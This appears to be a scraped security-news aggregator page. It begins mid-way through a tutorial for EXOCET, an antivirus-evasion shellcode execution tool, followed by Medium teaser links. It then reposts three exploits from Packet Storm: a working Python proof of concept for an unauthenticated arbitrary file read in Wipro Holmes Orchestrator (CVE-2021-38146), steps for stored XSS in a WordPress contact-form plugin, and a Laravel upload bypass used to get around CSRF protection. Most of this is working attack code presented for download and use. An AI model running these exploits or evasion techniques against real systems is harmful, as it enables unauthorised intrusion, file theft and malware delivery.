Step 2: Copy only the bytes of the shellcode, excluding the quotes into a text file like sc.txt

Step 3: Your shellcode file should look like this. Raw shellcode

Step 4: Now run the command go run exocet-shellcode-exec.go sc.txt shellcodetest.go KEYStep 5: You can attempt to run it but you'll run into memory access violation errors for some reason, which I am still working on
Note on Memory Access Violation Problem
Apparently, aside from the major limitations of CGO that prohibit or dramatically frustrates cross-compilation, the issue is that the shellcode we want to execute is landing in a section of memory (analyzed in WinDBG x64) that is not RWX. In other words, unless we write C code that explicitly allows execution in memory of the shellcode, it will always throw access violation errors.The other method, that I observed other developers of rudimentary Go modules https://gist.github.com/mgeeky/bb0fd5652b234fbd1c7630d7e5c8542d, is that they use Go's Windows API to interact with ntdll.dll and kernel32.dll to call VirtualAlloc and specify areas of RWX memory pages. This method works better, but it seems that the shellcode must be in num-transformed format only for it to work.I am still working on this you guys. I may combine multiple programming languages together to write a proper shellcode execution module
Note on Apple M1 Chips for precompiled binaries
Unfortunately I am running into errors for making a pre-compiled binary for MacBooks running the new M1 CPUs. It may be a issue with my Golang installation┌──(root💀kali)-[/opt/EXOCET-AV-Evasion]
└─# GOOS=darwin GOARCH=arm64 go build exocet.go
# command-line-arguments
/usr/lib/go-1.15/pkg/tool/linux_amd64/link: running gcc failed: exit status 1
/tmp/go-link-477718799/go.o: file not recognized: file format not recognized
collect2: error: ld returned 1 exit status
Either way, you still require Golang to compile or cross-compile the malware to the platform you are targeting.

Download EXOCET-AV-Evasion (https://github.com/tanc7/EXOCET-AV-Evasion)

Recon Experience with Trickest — Subdomain Recon Tale in a Workflow #1

Main goalContinue reading on Medium »
Read more...

DOS attack in Yahoo, How i was able to deny new users from service?

Hey All ,Continue reading on Medium »
Read more...

Polysynth Trading Competition

Calling all traders to participate in the Polysynth Trading Competition.Continue reading on Medium »
Read more...

TEN X IMMUNEFI

· TEN Finance announcing Immunefi Bug Bounty for YIELDEX!Continue reading on tenfinance »
Read more...

Exploit Collector
Wipro Holmes Orchestrator 20.4.1 Arbitrary File Download

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
Wipro Holmes Orchestrator version 20.4.1 unauthenticated arbitrary file reading proof of concept exploit.

MD5 | 04adf28661ef09514ae3eb4f550b8b3d

Download
# Exploit Title: Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Read PoC
# Date: 05/08/2021
# Exploit Author: Rizal Muhammed @ub3rsick
# Vendor Homepage: https://www.wipro.com/holmes/
# Version: 20.4.1
# Tested on: Windows 10 x64
# CVE : CVE-2021-38146

import requests as rq
import argparse

port = 8001 # change port if application is running on different port

def file_download(host, filepath):
vuln_url = "http://%s:%s/home/download" % (host, port)
data = {
"SearchString": filepath,
"Msg": ""
}

hdr = {
"content-type": "application/json"
}

resp = rq.post(vuln_url, headers=hdr, json=data)

print resp.text

def main():
parser = argparse.ArgumentParser(
description="CVE-2021-38146 - Wipro Holmes Orchestrator 20.4.1 Unauthenticated Arbitrary File Download",
epilog="Vulnerability Discovery and PoC Author - Rizal Muhammed @ub3rsick"
)
parser.add_argument("-t","--target-ip", help="IP Address of the target server", required=True)
parser.add_argument("-f","--file-path", help="Absolute Path of the file to download", default="C:/Windows/Win.ini")
args = parser.parse_args()

if "\\" in args.file_path:
fp = args.file_path.replace("\\", "/")
else:
fp = args.file_path
file_download(args.target_ip, fp)

if __name__ == "__main__":
main()

Source:packetstormsecurity.com

Exploit Collector
WordPress Contact Form To Email 1.3.24 Cross Site Scripting

https://4.bp.blogspot.com/-mbNmyGHywr4/WWlve-suujI/AAAAAAAAIP4/9elXOC6IHOcW_3VzQDLCix2bjP9zh38ZgCLcBGAs/s1600/h83.png
WordPress Contact Form to Email plugin version 1.3.24 suffers from a persistent cross site scripting vulnerability.

MD5 | 9e28ce6804cc0140474721ef8ea6e4d2

Download
# Exploit Title: WordPress Plugin Contact Form to Email 1.3.24 - Stored Cross Site Scripting (XSS) (Authenticated)
# Date: 11/11/2021
# Exploit Author: Mohammed Aadhil Ashfaq
# Vendor Homepage: https://form2email.dwbooster.com/
# Version: 1.3.24
# Tested on: wordpress

POC
1. Click Contact form to Email
http://192.168.111.129/wp-admin/admin.php?page=cp_contactformtoemail
2. Create new form name with
3. Click Publish
4. XSS has been triggered
http://192.168.111.129/wp-admin/admin.php?page=cp_contactformtoemail&pwizard=1&cal=4&r=0.8630795030649687
5. Open a different browser, logged in with wordpress. Copy the URL and
Press enter. XSS will trigger.


Source:packetstormsecurity.com

Exploit Collector
PHP Laravel 8.70.1 Cross Site Request Forgery / Cross Site Scripting

https://4.bp.blogspot.com/-4IgemuXxvlQ/WWlvJOAjEHI/AAAAAAAAIL4/GJdo6H5fQo4z7HKyurc-fIH3InSyWxX3gCLcBGAs/s1600/h145.png
PHP Laravel version 8.70.1 suffers from cross site scripting and cross site request forgery related vulnerabilities.

MD5 | 658c486e9e1e6766cdb966e8b5d07dc4

Download
# Exploit Title: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

ÿØÿà

Laravel Csrf Bypass
3- Save it as Html file and upload it.

Source:packetstormsecurity.com